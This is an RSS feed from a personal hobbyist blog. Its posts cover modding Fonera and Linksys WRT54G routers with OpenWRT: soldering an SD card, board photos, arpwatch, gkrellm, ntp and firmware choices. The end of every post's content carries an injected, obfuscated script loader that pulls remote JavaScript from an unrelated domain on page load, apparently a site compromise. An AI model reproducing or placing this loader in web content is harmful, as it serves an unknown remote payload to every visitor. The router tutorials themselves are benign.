<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; AP</title>
	<atom:link href="http://www.larsen-b.com/topics/wifi/ap/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Fonera SD Card Hack</title>
		<link>http://www.larsen-b.com/Article/262.html</link>
		<comments>http://www.larsen-b.com/Article/262.html#comments</comments>
		<pubDate>Fri, 18 May 2007 17:22:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[fonera]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I read on several websites, that some people managed to wire a SD Card (or a MMC) to a Fonera access point. After a little googling, I discover this can be done easily, so I decided to test.. but I &#8230; <a href="http://www.larsen-b.com/Article/262.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I read on several websites, that some people managed to wire a SD Card (or a MMC) to a Fonera access point. After a little googling, I discover this can be done easily, so I decided to test.. but I run into one issue so I decided to describe the process here.</p>
<p>Here the finished result:</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02577.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02577.sized.jpg" /></p>
<p>Let&#8217;s give it a try:</p>
<div class="section">
<h1><a id="solder-the-sd-card" name="solder-the-sd-card">Solder the SD Card</a></h1>
<p>The first step, is to locate the SW pins (near the antenna).. simply solder some wires like this:</p>
<pre class="literal-block">SD Car      -----    Fonera
DO  (pin 7)          SW1
CLK (pin 5)          SW2
DI  (pin 2)          SW5
CS  (pin 1)          SW6
Gnd (pin 3)          Gnd
Vcc (pin 4)          Vcc</pre>
<p>Here you can see the <a class="reference" href="http://pinouts.ru/Memory/sdcard_pinout.shtml">SD Card pinouts</a></p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02584_2.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02584_2.sized.jpg" /></p>
<p>You can solder the VCC, and Gnd on the serial pins.</p>
</div>
<div class="section">
<h1><a id="unsolder-the-caps" name="unsolder-the-caps">Unsolder the Caps</a></h1>
<p>In my first tests, I discovered the SD card is detected, so I checked the signals. And discover the clk isn&#8217;t really clear.. So I decided to remove the capacitor on the SPI bus. (C142, C143, C144, C145)</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02582.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02582.sized.jpg" /></p>
</div>
<div class="section">
<h1><a id="install-software-and-test" name="install-software-and-test">Install software and test</a></h1>
<p>Next we need to install the kernel module on OpenWRT. You can find it on the <a class="reference" href="http://phrozen.org/fonera.html">Phrozen</a> website . Simply ipkg install the file and it should be ok. Now, let&#8217;s try: insert a SD Card, and reboot, you should see something like this in your log.</p>
<pre class="literal-block">Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : MMC Driver for Fonera Version 2.5 (050507) -- '2B|!2B' (john@phrozen.org)
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card Found
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : card in op mode
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : SIZE : 241, nMUL : 6, COUNT : 1932, NAME : 256MB
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card Initialised
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : The inserted card has a capacity of 253231104 Bytes
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : adding disk
Jan  1 00:00:49 OpenWrt user.info kernel:  mmc1
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card was Found</pre>
<p>So now you can mount it:</p>
<pre class="literal-block">mount /dev/mmc0 /mnt</pre>
<p>This stuff, is working really well, I managed to have around 150Ko/s (reading) which is far enough for my needs. The only issue right now, is that you need to carefully umount the card before removing it, otherwise the fonera will crash.</p>
<p><strong>Enjoy Fonera ??</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/262.html/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Fonera motherboard pics, and more</title>
		<link>http://www.larsen-b.com/Article/251.html</link>
		<comments>http://www.larsen-b.com/Article/251.html#comments</comments>
		<pubDate>Sun, 07 Jan 2007 21:41:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[fonera]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Here some photos (hi-res) of the Fonera, the Fon routeur. This little box has: 8Mo Atheros CPU + Wifi Here you can see the AR2315 CPU from Atheros. One stuff really funny, they decide to use exactly the same layout &#8230; <a href="http://www.larsen-b.com/Article/251.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Here some photos (hi-res) of the Fonera, the <a class="reference" href="http://www.fon.com/">Fon</a> routeur. This little box has:</p>
<ul class="simple">
<li>8Mo</li>
<li>Atheros CPU + Wifi</li>
</ul>
<p>Here you can see the <a class="reference" href="http://www.atheros.com/pt/AR5006AP-G.htm">AR2315</a> CPU from Atheros. One stuff really funny, they decide to use exactly the same layout as the Atheros design (look at the pic closely). You can see the 16Mb Ram on the left. Just near the serial port, and the 14 pins header is a JTag. We can see the antenna, the network plug, and the power supply on the left.</p>
<p>You can find hi-res pics <a class="reference" href="http://jkx.larsen-b.com/gallery/Electronic/DSC02545">here</a></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02545.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02545.sized.jpg" /></div>
<p>Here, you can the 8Mo serial flash made by ST. And the Altima network chip.</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02547.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02547.sized.jpg" /></div>
<p>This looks like a great hardware to hack&#8230; some, and have a <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Fon/Fonera">OpenWRT</a> port. But it seems to have a really limited free GPIO and the BGA package doesn&#8217;t help :(<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/251.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arpwatch on WRT54G</title>
		<link>http://www.larsen-b.com/Article/203.html</link>
		<comments>http://www.larsen-b.com/Article/203.html#comments</comments>
		<pubDate>Thu, 12 May 2005 15:22:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose. I decided to run arpwatch on my linksys access point, &#8230; <a href="http://www.larsen-b.com/Article/203.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose.<br />
I decided to run arpwatch on my linksys access point, but this is not so easy ..</p>
<div id="mail" class="section">
<h1><a name="mail">1) Mail</a></h1>
<p>First you need to have sendmail on the WRT. So install mini_sendmail. Add a file <strong>/usr/sbin/sendmail</strong> that contains:</p>
<pre class="literal-block">#!/bin/sh
/usr/sbin/mini_sendmail -t -sIP_of_your_mail_relay</pre>
<p>Check that it &#8216;s working..</p>
</div>
<div id="arpwatch" class="section">
<h1><a name="arpwatch">2) Arpwatch</a></h1>
<p>Run arpwatch on the WRT throught this script:</p>
<pre class="literal-block">#!/bin/sh
IFNAME=$(nvram get wifi_ifname)

case $1 in
start)
touch /tmp/arpwatch.dat
arpwatch -f /tmp/arpwatch.dat -i $IFNAME
;;
stop)
killall arpwatch
;;
*)
echo "usage: $0 (start|stop)"
exit 1
esac

exit $?</pre>
</div>
<div id="check" class="section">
<h1><a name="check">3) Check</a></h1>
<p>Wait a bit, connect to your wifi, look at your email on the gateway. (<a class="reference" href="mailto:root@gw">root@gw</a>) you will see something like this:</p>
<pre class="literal-block">From: root@openwrt.local.net
Subject: new station

hostname: &lt;unknown&gt;
ip address: 192.168.2.1
ethernet address: 0:f:66:c7:b5:b1
ethernet vendor: &lt;unknown&gt;
timestamp: Tuesday, January 18, 2000 14:34:01 +0000</pre>
<p>Enjoy :)</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/203.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Have fun with a Gkrellm on a WRT54G ? Geeky no ..:)</title>
		<link>http://www.larsen-b.com/Article/192.html</link>
		<comments>http://www.larsen-b.com/Article/192.html#comments</comments>
		<pubDate>Tue, 01 Feb 2005 12:08:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[gkrellm]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok a little screenshot is perhaps better than a long talk. Yes, I use gkrellm to monitor my WRT (mainly the bandwith, CPU Load .. and other stuffs). This is pretty easy to use, and friendly no ? update: I &#8230; <a href="http://www.larsen-b.com/Article/192.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok a little screenshot is perhaps better than a long talk.</p>
<div class="image"><img src="http://brest-wireless.net/albums/Misc/gkrellm_wrt.gif" alt="http://brest-wireless.net/albums/Misc/gkrellm_wrt.gif" /></div>
<p>Yes, I use gkrellm to monitor my WRT (mainly the bandwith, CPU Load .. and other stuffs). This is pretty easy to use, and friendly no ?</p>
<p><strong>update</strong>: I miss the URL: <a class="reference" href="http://chriscarey.us/software/gkrellm/wrt54g/">http://chriscarey.us/software/gkrellm/wrt54g/</a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/192.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ntp on a WRT54</title>
		<link>http://www.larsen-b.com/Article/188.html</link>
		<comments>http://www.larsen-b.com/Article/188.html#comments</comments>
		<pubDate>Mon, 03 Jan 2005 21:35:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[ntp]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok, everybody know ntp. But how can i use it on a linksys WRT54 to set up clock once.. without a decent man page ? ntpclient -s -c 1 -h local-ntp-server.domain]]></description>
				<content:encoded><![CDATA[<p>Ok, everybody know ntp. But how can i use it on a linksys WRT54 to set up clock once.. without a decent man page ?</p>
<pre class="literal-block">ntpclient -s -c 1 -h local-ntp-server.domain</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/188.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>OpenWRT Admin Tool in PHP</title>
		<link>http://www.larsen-b.com/Article/185.html</link>
		<comments>http://www.larsen-b.com/Article/185.html#comments</comments>
		<pubDate>Thu, 23 Dec 2004 14:09:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a recent post, i described the build of Python for a WRT. I didn&#8217;t manage to finish this hack. So I decided to use a PHP interface. Here the first screenshot]]></description>
				<content:encoded><![CDATA[<p>In a recent post, i described the build of Python for a WRT. I didn&#8217;t manage to finish this hack. So I decided to use a PHP interface. Here the first screenshot</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/open_wrt_admin.sized.jpg" alt="http://jkx.larsen-b.com/photos/blog/open_wrt_admin.sized.jpg" /><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/185.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Alternative Firmware for the WRT54GS</title>
		<link>http://www.larsen-b.com/Article/182.html</link>
		<comments>http://www.larsen-b.com/Article/182.html#comments</comments>
		<pubDate>Sat, 20 Nov 2004 12:10:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[Wifi]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok, yes, I bought a new WRT54GS, this works quite fine. I &#8216;m able to do what i want with that stuff. I will explain in a future post how to use this stuff in a secure way without using &#8230; <a href="http://www.larsen-b.com/Article/182.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok, yes, I bought a new <a class="reference" href="http://jkxathome.shoplinc.com/search.php?q=linksys+wrt&amp;c=0">WRT54GS</a>, this works quite fine. I &#8216;m able to do what i want with that stuff. I will explain in a future post how to use this stuff in a secure way without using WEP.</p>
<p>Here is the list of firmware to use on this little box:</p>
<ul class="simple">
<li>The Official <a class="reference" href="http://www.linksys.com/support/gpl.asp">one</a> (pretty nice, but doesn&#8217;t allow telnet over device )</li>
<li><a class="reference" href="http://www.sveasoft.com/">Sveasoft</a> (the infamous weaked GPL one)</li>
<li><a class="reference" href="http://www.portless.net/ewrt/">EWRT</a> (sveasoft + nocat -&gt; hotspot)</li>
<li><a class="reference" href="http://h.vu.wifi-box.net/wrt54g/">Wifi-box</a> (hum not tested yet)</li>
<li><a class="reference" href="http://openwrt.org/">openWRT</a> (minimal setup without http)</li>
<li><a class="reference" href="http://reseaucitoyen.be/index.php?MeshBoxKit">MeshBoxKit</a> (openWRT + OLSR, special for Meshing)</li>
</ul>
<p>Look at Seattle wiki on <a class="reference" href="http://www.seattlewireless.net/index.cgi/LinksysWrt54g">WRT</a> for more infos. Do you use another one ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/182.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
